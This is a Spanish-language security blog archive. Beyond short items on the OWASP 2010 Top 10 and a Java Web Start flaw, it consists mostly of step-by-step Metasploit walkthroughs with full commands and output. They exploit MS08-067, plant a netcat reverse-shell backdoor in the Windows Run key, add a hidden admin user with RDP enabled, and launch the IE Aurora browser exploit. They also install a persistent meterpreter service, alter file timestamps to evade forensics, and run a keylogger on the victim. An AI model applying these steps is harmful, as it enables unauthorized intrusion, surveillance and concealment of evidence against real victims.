May 07

TOP 10 Fallos de Seguridad en Aplicaciones Web

El proyecto OWASP (Open Web Application Security Project) ha publicado la actualización al año 2010 de su famoso TOP 10 con los mayores riesgos asociados a las aplicaciones web.

4Oc8p TOP 10 Fallos de Seguridad en Aplicaciones Web

En esta nueva edición del TOP 10 se nota como intencionalmente han querido eliminar de la listas algunas vulnerabilidades específicas, para enfocarse más en los riesgos de seguridad que representan estas vulnerabilidades. Este nuevo enfoque sobre riesgos de seguridad en las aplicaciones web tienen por objeto impulsar a las organizaciones, a madurar más la comprensión y gestión de aplicaciones de seguridad a través de su organización.

La OWASP indica que el Top 10 para el 2010 es:

  1. Inyección
  2. Cross-Site Scripting (XSS)
  3. Interrupción de la autenticación y administración de sesiones
  4. Referencias de Objetos Directos Inseguros
  5. Falsificación de Solicitud Cross-Site (CSRF)
  6. La configuración errónea de Seguridad
  7. Cifrado de Almacenamiento Inseguro
  8. Falla al restringir el acceso URL
  9. Insuficiente protección de la capa de transporte
  10. Redirecciones sin validar y hacia adelante.

Más Información:
Anuncio en la Página Oficial de OWASP

FUENTE:

www.dragonjar.org

May 06

Curso completo Metasploit

Al parecer los creadores de Backtrack han liberado totalmente gratis el mejor manual y mas completo que he visto del Metasploit Framework, este excelente herramienta para desarrollar y ejecutar exploits.

La guía cubre desde los aspectos mas básicos que debes tener en cuenta a la hora de ejecutar Metasploit, como los requerimientos de tu maquina, pasando por su instalación, hasta tocar temas como la interacción con la herramienta, como programar sobre ella y como ejecutar tu propio exploit programado con este framework.

Puedes acceder al curso desde: http://www.offensive-security.com/metasploit-unleashed/

May 06

Vulnerabilidad en Java Web Start

Hace algunas semanas, en el twitter de Ruben Santamarta, un conocido investigador Español, podíamos ver el siguiente comentario:
Con la liebre correteando por ahí y todos nosotros desinstalando Java de nuestros navegadores, Rubén publico en su web algunos detalles más sobre la vulnerabilidad, que parece haber sido descubierta casi simultáneamente por él y por Tavis Ormandy, otro conocido investigador.
Según parece, la vulnerabilidad reside en una mala validación de ciertos parámetros que se pasan por linea de comandos al binario java.exe/javaws.exe en el momento que un navegador quiere ejecutar contenido Java.
Voy a tomarme la pequeña libertad de comentar el código publicado por Rubén, en su página web. También añadiré alguna captura mía de algún trozo de código que me parece interesante y que no aparece en la publicación de Rubén.
Aunque parezca raro, creo que en esta ocasión lo mejor para entender la vulnerabilidad es comenzar desde el final, es decir, desde el momento que se llama a javaws.exe. Si nos fijamos en el final del código seleccionado por Rubén, vemos que se apilan un montón de parámetros (push) antes de llamar a la función CreateProcessA. Esta función va a ser la encargada de crear un nuevo proceso con los parámetros que nosotros le hayamos pasado a través de la pila, es decir, todos esos parámetros que justo antes de la llamada estaban siendo apilados. Podemos obtener más información sobre estos parámetros acudiendo a la documentación oficial de Microsoft.
De entre todos estos parámetros, el afectado por la vulnerabilidad es lpCommandLine, mediante el cual le especificamos a la función con que parámetros en linea de comandos deberá llamar al binario (javaws.exe). En este caso, vemos que se está realizando un “push esi”, es decir, en el lugar de la pila de donde CreateProcessA va a sacar el valor de lpCommandLine estamos metiendo el valor contenido en el registro ESI.
Perfecto.
Y…
¿Qué narices hay en ESI? 😛
Evidentemente, el registro ESI podría haber sido cambiado en cualquier sitio y posteriormente haber hecho un salto a la zona de código que vemos, pero si no me equivoco si esto fuera así el IDA Pro nos habría etiquetado la linea con un “loc_direccion”, y no es el caso. Dicho esto, vemos que solo existen dos posibilidades:
  1. La ejecución viene de la dirección 6DAA3EB7 y al llegar a 6DAA3EC6 hace un salto a 6DAA3ED4 (jmp short loc_6DAA3ED4).
  2. La ejecución ha saltado de una zona anterior al código que no vemos a 6DAA3EC8 y desde ahí ha seguido su ejecución normal hasta llegar a 6DAA3ED4 sin ningún tipo de saltos, ya que su código es consecutivo.
Vamos a seguir trazando hacia atrás a ver si vemos donde se ha definido el contenido del registro ESI. En este caso, para ambas opciones vemos que ESI contiene la dirección de memoria de un Buffer donde se va a guardar la cadena de texto resultado de la llamada a la función wsprintfA. Esta función es prácticamente idéntica (solo cambia el soporte para Unicode, que yo sepa) a la típica función de C “sprintf”, en la que definimos un buffer de destino (al que apunta ESI), una cadena de formato del tipo “%s loquesea %d blablabla %s” y las referencias a los datos que irán en los “huecos” que hayamos dejado en la cadena de formato (en mi ejemplo, 3, cadena de texto, entero, cadena de texto). Como antes, podemos obtener más información sobre esta función acudiendo a la documentación oficial de Microsoft.
En el caso que nos ocupa, podemos ver que estamos utilizando 3 cadenas para formar una cadena de la siguiente forma:
Aplicacion [-docbase OpcionesDocBase] Opciones
Siendo esto así, vemos que tanto “OpcionesDocBase” ([ebp+arg_4]) como “Opciones” ([ebp+arg_0]) están saliendo DIRECTAMENTE de los argumentos con los que se ha llamado a la función, por lo que no parece existir ningún tipo de filtrado que impida que introduzcamos espacios en blanco, guiones u otros caracteres que nos permitan modificar los argumentos con los que se creará el nuevo proceso.
Las preguntas evidentes que nos surgen ahora son:
  1. ¿Podemos controlar esos parámetros de forma remota de alguna manera? Porque sino… para poco nos va a servir todo lo que acabamos de ver.
  2. Suponiendo que controlamos los parámetros que se le pasan a estos binarios, ¿para que sirve eso? ¿es peligroso para la seguridad?
Las respuestas son SI, podemos controlar esos parámetros y es peligroso para la seguridad.
Mañana: “Explotando Java Web Start”
Fuente: http://www.pentester.es
May 06

Subir Archivos y Crear Clave dentro del Registro [BackDoor ]

[Metasploit By: Shell Root]

Cuando ingresamos a un P.C remoto, con ayuda del Metasploit, además de tener el PAYLOAD con Meterpreter, tenemos varias opciones. Una de ellas conseguir la Shell Remota, Ingresar Claves al Registro de Windows, Subir Archivos del P.C atacante hacia la P.C Remota.

Primero ingresaremos a la P.C con el exploit:

  • exploit/windows/smb/ms08_067_netapi

y con el PAYLOAD:

  • windows/shell/bind_tcp
  • windows/shell/reverse_tcp

En este caso usaremos el PAYLOAD windows/shell/bind_tcp.

Código:

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

       =[ metasploit v3.3.2-release [core:3.3 api:1.0]
+ -- --=[ 462 exploits - 219 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7808 updated 7 days ago (2009.12.10)

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3
RHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.0.3      yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LPORT     4444             yes       The local port
   RHOST     192.168.0.3      no        The target address

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit(ms08_067_netapi) > exploit[*] Started bind handler[*] Automatically detecting the target...[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish[*] Selected Target: Windows XP SP2 Spanish (NX)[*] Triggering the vulnerability...[*] Sending stage (723456 bytes)[*] Meterpreter session 1 opened (192.168.0.2:1934 -> 192.168.0.3:4444)

meterpreter >

Ahora estamos dentro del P.C Remoto, Subamos el Archivo NetCat de nuestra P.C a la P.C Remota, con uso del comando upload. Miremos que opciones tiene esté comando.

Código:

meterpreter > upload
Usage: upload [options] [Ubicación Archivo Local] [Ubicación Archivo Remoto]

Uploads local files and directories to the remote machine.

OPTIONS:

    -r        Upload recursively.

meterpreter >

Así:

Código:

meterpreter > upload C:\Windows\System32\nc.exe C:\Windows\System32\[*] uploading  : C:WindowsSystem32nc.exe -> C:WindowsSystem32[*] uploaded   : C:WindowsSystem32nc.exe -> C:WindowsSystem32\nc.exe
meterpreter >

Despues crearemos una clave dentro del Registro de Windows con la siguiente ruta:

  • HKLM\Software\Microsoft\Windows\CurrentVersion \Run

Asi:

Código:

meterpreter > reg setval -k HKLM\Software\Microsoft\Windows\CurrentVersion\Run -v Hacked -d 'C:WindowsSystem32nc.exe -L -d -p 1234 -e cmd.exe'
Successful set Hacked.
meterpreter >

Ahora solo nos queda reiniciar el P.C remoto con el comando Reboot. Asi:

Código:

meterpreter > reboot
Rebooting...
meterpreter >

Y por ultimo conectarnos con el BackDoor que acabamos de dejar en la P.C Remota. Podemos usar el Mismos Metasploit o la Consola de Windows. En este caso usaremos el Metasploit. Así:

Código:

msf > connect 192.168.0.3 1234[*] Connected to 192.168.0.3:1234
Microsoft Windows XP [Versi¢n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:Documents and SettingsShell Root Remoto>

By: Shell Root
Fuente: http://shellrootsecurity.blogspot.com/2009/12/subir-archivos-y-crear-clave-dentro-del.html

May 06

Habilitar Escritorio Remoto

[Metasploit By: Shell Root]
Una de las muchas herramientas que trae integrada el Metasploit aparte de la que ya hemos visto (keyylogger, Screenshot, Ver Escritorio Remoto ). Tambien podemos agregar un usuario y habilitar el escritorio remoto de la P.C Remota con tan solo una ejecucion de un comando. Aquí veremos el uso de esté servicio del Metasploit.

Primero ingresaremos a la P.C con el exploit:
* exploit/windows/smb/ms08_067_netapi

y con el PAYLOAD:
* windows/meterpreter/bind_tcp
* windows/meterpreter/reverse_tcp

En este caso usaremos el PAYLOAD windows/shell/bind_tcp.

Código:

                     888                           888        d8b888
                     888                           888        Y8P888
                     888                           888           888
88888b.d88b.  .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P  Y8b888       "88b88K     888 "88b888d88""88b888888
888  888  88888888888888   .d888888"Y8888b.888  888888888  888888888
888  888  888Y8b.    Y88b. 888  888     X88888 d88P888Y88..88P888Y88b.
888  888  888 "Y8888  "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
                                           888
                                           888
                                           888

       =[ metasploit v3.3.2-release [core:3.3 api:1.0]
+ -- --=[ 462 exploits - 219 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7808 updated 10 days ago (2009.12.10)

Warning: This copy of the Metasploit Framework was last updated 10 days ago.
         We recommend that you update the framework at least every other day.
         For information on updating your copy of Metasploit, please see:
             http://dev.metasploit.com/redmine/projects/framework/wiki/Updating

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3
RHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > set PAYLOAD windows/bind_tcp
[-] The value specified for PAYLOAD is not valid.
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > exploit[*] Started bind handler[*] Automatically detecting the target...[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish[*] Selected Target: Windows XP SP2 Spanish (NX)[*] Triggering the vulnerability...[*] Sending stage (723456 bytes)[*] Meterpreter session 1 opened (192.168.0.2:12995 -> 192.168.0.3:4444)

meterpreter >

Ahora que tenemos el Meterpreter ejecutamos el comando run getgui. Miremos que opciones tiene.

Código:

meterpreter > run getgui                 
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u <username> -p <password>
Or:    getgui -e

OPTIONS:

    -e        Enable RDP only.
    -h        Help menu.
    -p <opt>  The Password of the user to add.
    -u <opt>  The Username of the user to add.

meterpreter >

Ahora ingresamos los parametros necesarios para perfecta ejecución del exploit. Así:

Código:

meterpreter > run getgui -u Shell -p Root[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator[*] Carlos Perez carlos_perez@darkoperator.com[*] Enabling Remote Desktop[*]     RDP is disabled; enabling it ...[*] Setting Terminal Services service startup mode[*]     The Terminal Services service is not set to auto, changing it to auto ...[*]     Opening port in local firewall if necessary[*] Setting user account for logon[*]     Adding User: Shell with Password: Root[*]     Adding User: Shell to local group Remote Desktop Users[*]     Adding User: Shell to local group Administrators[*] You can now login with the created user

Ahora ya tan solo nos queda conectarnos desde la Conexión a Escritorio remoto que trae integrado Windows.

By: Shell Root
Fuente: Habilitar Escritorio Remoto

May 06

Exploit IE_Aurora

Descargad el Exploit IE_Aurora.rb de Metasploit Framework – /modules/exploits/windows/browser/ie_aurora.rb – Metasploit Redmine Interface. Ponemos el Exploit dentro de la carpeta que nos de la gana, yo la puse en Windows/Browser/Ie_Aurora. Ingresamos a la Consola del Metasploit y cargamos el Exploit Ie_Aurora

Código:
                                  _       _
             _                   | |     (_)_
 ____   ____| |_  ____  ___ ____ | | ___  _| |_
|     / _  )  _)/ _  |/___)  _ | |/ _ | |  _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|____)___)_||_(___/| ||_/|_|___/|_|___)
                           |_|


       =[ metasploit v3.3.3-release [core:3.3 api:1.0]
+ -- --=[ 481 exploits - 220 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7957 updated 27 days ago (2009.12.23)

Warning: This copy of the Metasploit Framework was last updated 27 days ago.
         We recommend that you update the framework at least every other day.
         For information on updating your copy of Metasploit, please see:
             http://dev.metasploit.com/redmine/projects/framework/wiki/Updating

msf > use windows/browser/ie_aurora
msf exploit(ie_aurora) >

Miramos que opciones tiene y cuales son requeridos

Código:
msf exploit(ie_aurora) > show options

Module options:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on.
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH                      no        The URI to use for this exploit (default is random)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(ie_aurora) >

Llenamos los parametros de SRVHOST, URIPATH y Seleccionamos el PAYLOAD.

Código:
msf exploit(ie_aurora) > set SRVHOST 192.168.0.2
SRVHOST => 192.168.0.2
msf exploit(ie_aurora) > set URIPATH /
URIPATH => /
msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ie_aurora) >

Lanzamos el Exploit y esperamos a que la victima ingrese a la URL.

Código:
msf exploit(ie_aurora) > exploit[*] Exploit running as background job.
msf exploit(ie_aurora) > [*] Started bind handler[*] Using URL: http://192.168.0.2:8080/[*] Server started.


Se debe a: a que cuando un usuario carga manualmente un sitio Web, código JavaScript especialmente conformado provoca una corrupción de memoria que en última instancia permite el acceso al sistema. Esta vulnerabilidad es extremadamente crítica, y el código lleva circulando libremente por Internet desde hace un par de días, lo que hace más que posible que el exploit, que en principio se diseñó para el robo de propiedad intelectual en un ataque segmentado contra grandes corporaciones, pueda estar explotándose de un modo más generalista.

Fuente: Sobre la última vulnerabilidad de Internet Explorer: consejos prácticos para usuarios » Sergio Hernando

May 06

Crear un Backdoor con meterpreter

Primero, necesitamos una sesión de meterpreter en el sistema remoto.

Código:
                                  _            
                                 | |      o    
 _  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / _|/ _|/  /  _|  |  
  |  |  |_/|__/|_/_/|_/ / |__/ |__/__/ |_/|_/
                           /|                  
                           |                   

       =[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 489 exploits - 225 auxiliary
+ -- --=[ 192 payloads - 23 encoders - 8 nops
       =[ svn r8074 updated today (2010.01.05)

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 172.16.83.128
RHOST => 172.16.83.128
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > set LHOST 172.16.83.1
LHOST => 172.16.83.1
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 3 opened (172.16.83.1:54745 -> 172.16.83.128:4444)

meterpreter >

Una vez conseguida, ejecutamos metsrv, que instalará como servicio un servidor de meterpreter en el host remoto.

Código:
meterpreter > run metsvc
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:WINDOWSTEMPHdOFwlxzpobWuh...
[*]  >> Uploading metsrv.dll...
[*]  >> Uploading metsvc-server.exe...
[*]  >> Uploading metsvc.exe...
[*] Starting the service...
	 * Installing service metsvc
 * Starting service
Service metsvc successfully installed.

Ahora, si queremos, podemos reiniciar el sistema remoto, aunque el servicio ya está corriendo.

Código:
meterpreter > reboot
Rebooting...
meterpreter >

Ahora, cuando se reinicie el host remoto, vamos a conectarnos al servicio de meterpreter que acabamos de instalar.

Para ello, usaremos el handler para que nos porte el exploit windows/metsvc_bind_tcp, lo configuraremos y nos conectaremos, como haré yo.

Código:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD => windows/metsvc_bind_tcp
msf exploit(handler) > show options

Module options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (windows/metsvc_bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process
   LPORT     4444             yes       The local port
   RHOST                      no        The target address

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > set RHOST 172.16.83.128
RHOST => 172.16.83.128
msf exploit(handler) > exploit

[*] Starting the payload handler...
[*] Started bind handler
[*] Meterpreter session 1 opened (172.16.83.1:42050 -> 172.16.83.128:31337)

meterpreter >

Y ya está! Esto nos viene bien por si el host remoto aplica un parche que corrija sus vulnerabilidades.
Aunque parchee el sistema, nosotros tendremos acceso a su sistema a través de ese backdoor.

Y si queremos desinstar el metsvc en el host remoto para no dejar rastro, tan sólo tenemos que ejecutar metsvc -r en nuestra sesión de meterpreter.

Código:
meterpreter > run metsvc -r
[*] Removing the existing Meterpreter service
[*] Creating a temporary installation directory C:WINDOWSTEMPQQqawIYOjLq...
[*]  >> Uploading metsvc.exe...
[*] Stopping the service...
	 * Stopping service metsvc
 * Removing service
Service metsvc successfully removed.

meterpreter >
May 06

Modificación Anti-Forense en Archivos


[Metasploit By: Shell Root]

Ahora lo que me parece muy interesante a la hora de realizar una intrusión en algún Sistema computacional, es la manipulación de archivos. Imaginemos que realizamos una intrusión y por algún motivo modificamos o creamos algún archivo, y no queremos ser detectados por los análisis forenses que se realicen en ese equipo, tendremos que eliminar la fecha de creación y modificación del archivo. Pero como lo hacemos? Entremos que recurrir a nuestro gran amigo, el Metasploit. Miremos un ejemplo:

Primero ingresaremos a la P.C con el exploit:
* exploit/windows/smb/ms08_067_netapi

y con el PAYLOAD:
* windows/meterpreter/bind_tcp

Código:
                __.                       .__.        .__. __.
  _____   _____/  |______    ____________ |  |   ____ |__|/  |_
 /     _/ __    ____    /  ___/____ |  |  /  _ |     __
|  Y Y    ___/|  |  / __ ____  |  |_> >  |_(  <_> )  ||  |
|__|_|  /___  >__| (____  /____  >|   __/|____/____/|__||__|
      /     /          /     / |__|

       =[ metasploit v3.3.2-release [core:3.3 api:1.0]
+ -- --=[ 462 exploits - 219 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7808 updated 18 days hago (2009.12.10)

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3
RHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Triggering the vulnerability...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.2:5747 -> 192.168.0.3:4444)

meterpreter >

Ahora abriremos un canal para obtener la shell (cmd.exe):

Código:
meterpreter > shell
Process 2008 created.
Channel 1 created.
Microsoft Windows XP [Versi¢n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:>

Yá tenemos la shell en nuestro poder, ahora creemos un archivo de ejemplo:

Código:
C:>echo hola>>hola.txt
echo hola>>hola.txt

Como vemos creamos un archivo llamado hola.txt, el cual contiene la palabra hola. Miremos los datos de Creación, Modificación y ultimo Acceso al Archivo.
Como dice el dicho “…Una imagen vale más que mil palabras…”. Les dejo una captura de pantalla con la información del archivo.

Imagen:

Con el metasploit tambien podemos ver esta información. Así:

Código:
meterpreter > pwd
C:
meterpreter > timestomp hola.txt -v
Modified      : 2009-12-28 15:29:57 -0500
Accessed      : 2009-12-28 15:31:57 -0500
Created       : 2009-12-28 15:29:57 -0500
Entry Modified: 2009-12-28 15:29:57 -0500
meterpreter >

Nota: Antes que nada, nos debemos de situar donde está el archivo o poner la ruta completa. Con ayuda del comando pwd, vemos donde estamos situados actualmente y con ayuda del comando cd %Ruta%, nos situamos dentro del destino deseado.

En esté momento llego la ahora de cambiar los valores de las fechas del archivo. Hay varias partes interesantes, podemos igualar las fechas del archivo recien creado con otro que queramos que esté dentro del sistema. Por ejemplo:

C:hola.txt

Código:
meterpreter > timestomp hola.txt -v
Modified      : 2009-12-28 15:29:57 -0500
Accessed      : 2009-12-28 15:31:57 -0500
Created       : 2009-12-28 15:29:57 -0500
Entry Modified: 2009-12-28 15:29:57 -0500

C:httpdocsindex.html

Código:
meterpreter > timestomp C:\httpdocs\index.html -v
Modified      : 2009-12-09 22:36:14 -0500
Accessed      : 2009-12-28 15:38:59 -0500
Created       : 2009-12-09 22:36:14 -0500
Entry Modified: 2009-12-09 22:36:14 -0500
meterpreter >

Podemos igualar las fechas del archivo C:httpdocsindex.html al archivo C:hola.txt. O tambien intentar cambiar las fechas manualmente. Es decir, ingresar la fecha que nos de la gana… xD

En esté ejemplo veremos el cambio de fechas desde otro archivo. Miramos que opciones tiene el comando timestomp

Código:
meterpreter > timestomp                                

Usage: timestomp file_path OPTIONS

OPTIONS:

    -a <opt>  Set the "last accessed" time of the file
    -b        Set the MACE timestamps so that EnCase shows blanks
    -c <opt>  Set the "creation" time of the file
    -e <opt>  Set the "mft entry modified" time of the file
    -f <opt>  Set the MACE of attributes equal to the supplied file
    -h        Help banner
    -m <opt>  Set the "last written" time of the file
    -r        Set the MACE timestamps recursively on a directory
    -v        Display the UTC MACE values of the file
    -z <opt>  Set all four attributes (MACE) of the file

meterpreter >

Para ello usaremos el parametro -f %ruta_archivo%. Así:

Código:
meterpreter > timestomp C:\hola.txt -f C:\httpdocs\index.html
[*] Setting MACE attributes on C:hola.txt from C:httpdocsindex.html
meterpreter >

Miremos ahora las fechas del archivo hola.txt.
Actual:

Código:
meterpreter > timestomp C:\hola.txt -v                        
Modified      : 2009-12-09 22:36:14 -0500
Accessed      : 2009-12-28 15:38:59 -0500
Created       : 2009-12-09 22:36:14 -0500
Entry Modified: 2009-12-09 22:36:14 -0500
meterpreter >

Pasado:

Código:
meterpreter > timestomp hola.txt -v
Modified      : 2009-12-28 15:29:57 -0500
Accessed      : 2009-12-28 15:31:57 -0500
Created       : 2009-12-28 15:29:57 -0500
Entry Modified: 2009-12-28 15:29:57 -0500

Ya hemos cambiado las fechas del archivo C:hola.txt por las fechas del archivo C:httpdocsindex.html.

Nota: Con la ejecución del comando timestomp más el parametro -b.

Código:
meterpreter > timestomp C:\hola.txt -b
[*] Blanking file MACE attributes on C:hola.txt

Ponemos la fecha en un rango de fecha (01 de Enero del 1601) aun más dificil para el analizador de archivos.

By: Shell Root
Fuente: http://shellrootsecurity.blogspot.com/2009/12/modificacion-anti-forense-en-archivos.html

May 06

Usar Keylogger del Metasploit

[Metasploit By: Shell Root]

Una de las muchas herramientas que trae integrada el Metasploit, es un Keylogger. Podemos capturar las teclas presionadas en el P.C Remoto, ademas de poder sacar un Screenshot. Aquí veremos el uso de esté servicio del Metasploit.

Primero ingresaremos a la P.C con el exploit:
* exploit/windows/smb/ms08_067_netapi

y con el PAYLOAD:
* windows/shell/bind_tcp
* windows/shell/reverse_tcp

En este caso usaremos el PAYLOAD windows/shell/bind_tcp. No explicaré mucho porque para eso esta este POST de mi amigo Rcart.
http://foro.portalhacker.net/index.php/topic,93233.0.html

Código:
                __.                       .__.        .__. __.
  _____   _____/  |______    ____________ |  |   ____ |__|/  |_
 /     _/ __    ____    /  ___/____ |  |  /  _ |     __
|  Y Y    ___/|  |  / __ ____  |  |_> >  |_(  <_> )  ||  |
|__|_|  /___  >__| (____  /____  >|   __/|____/____/|__||__|
      /     /          /     / |__|

       =[ metasploit v3.3.2-release [core:3.3 api:1.0]
+ -- --=[ 462 exploits - 219 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7808 updated 8 days ago (2009.12.10)

Warning: This copy of the Metasploit Framework was last updated 8 days ago.
         We recommend that you update the framework at least every other day.
         For information on updating your copy of Metasploit, please see:
             http://dev.metasploit.com/redmine/projects/framework/wiki/Updating

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3
RHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Triggering the vulnerability...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.2:4367 -> 192.168.0.3:4444)

meterpreter >

Ahora que estamos dentro del P.C remoto, miremos las optiones que tiene, con el comando Help

Código:
meterpreter > help

Core Commands
=============

    Command       Description
    -------       -----------
    ps            List running processes
    migrate       Migrate the server to another process
    use           Load a one or more meterpreter extensions

Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    keyscan_dump   Dump they keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes

meterpreter >

Nota: Solo mostraré las opciones que nos interesa.

Es la hora de iniciar nuestro keylogger, pero antes, mirelos los procesos que estan corriendo en la P.C Remota, con el comando ps

Código:
meterpreter > ps

Process list
============

    PID   Name          Path
    ---   ----          ----
    368   smss.exe      SystemRootSystem32smss.exe
    548   csrss.exe     ??C:WINDOWSsystem32csrss.exe
    576   winlogon.exe  ??C:WINDOWSsystem32winlogon.exe
    656   services.exe  C:WINDOWSsystem32services.exe
    668   lsass.exe     C:WINDOWSsystem32lsass.exe
    824   svchost.exe   C:WINDOWSsystem32svchost.exe
    840   cmd.exe       C:WINDOWSsystem32cmd.exe
    892   svchost.exe   C:WINDOWSsystem32svchost.exe
    988   svchost.exe   C:WINDOWSSystem32svchost.exe
    1040  svchost.exe   C:WINDOWSsystem32svchost.exe
    1128  svchost.exe   C:WINDOWSsystem32svchost.exe
    1384  wuauclt.exe   C:WINDOWSsystem32wuauclt.exe
    1452  Explorer.EXE  C:WINDOWSExplorer.EXE
    1512  spoolsv.exe   C:WINDOWSsystem32spoolsv.exe
    1684  alg.exe       C:WINDOWSSystem32alg.exe
    1700  wscntfy.exe   C:WINDOWSsystem32wscntfy.exe
    1800  ctfmon.exe    C:WINDOWSsystem32ctfmon.exe
    1908  inetinfo.exe  C:WINDOWSsystem32inetsrvinetinfo.exe
    1936  metsvc.exe    C:WINDOWSTEMPLsMhsBTbmetsvc.exe

meterpreter >

Ahora migremos al proceso Explorer.exe. Usaremos el comando Migrate [Numero_Proceso] . Miremos el PID del proceso Explorer.exe, es el numero 1452.

Código:
meterpreter > migrate 1452
[*] Migrating to 1452...
[*] Migration completed successfully.
meterpreter >

Ya es hora de que iniciaremos el Keylogger con el comando keyscan_start

Código:
meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter >

Ahora con ayuda del comando keyscan_dump , veremos las teclas presionadas en la P.C Remota.

Código:
meterpreter > keyscan_dump
Dumping captured keystrokes...
net user <Return>  <Ctrl>  <LCtrl>  <Alt>  <LMenu>
meterpreter >

Ahora miremos la opción de sacar un ScreenShot de la P.C Remota, para ello usaremos el plugin espia del metasploit.

Código:
meterpreter > use espia
Loading extension espia...success.
meterpreter >

Despues con el comando screenshot [Ruta_Archivo_Salida] sacaremos una captura de pantalla de la P.C Remota.

Código:
meterpreter > screenshot /Prueba.bmp
[*] Image saved to /Prueba.bmp
meterpreter >

Imagen:

Con esto damos por concluida el uso del Keylogger y lo pausamos con el comando keyscan_stop

Código:
meterpreter > keyscan_stop
Stopping the keystroke sniffer...
meterpreter >

By: Shell Root
Fuente: http://shellrootsecurity.blogspot.com/2009/12/usar-keylogger-del-metasploit.html

May 06

Infectando Linux con Troyano

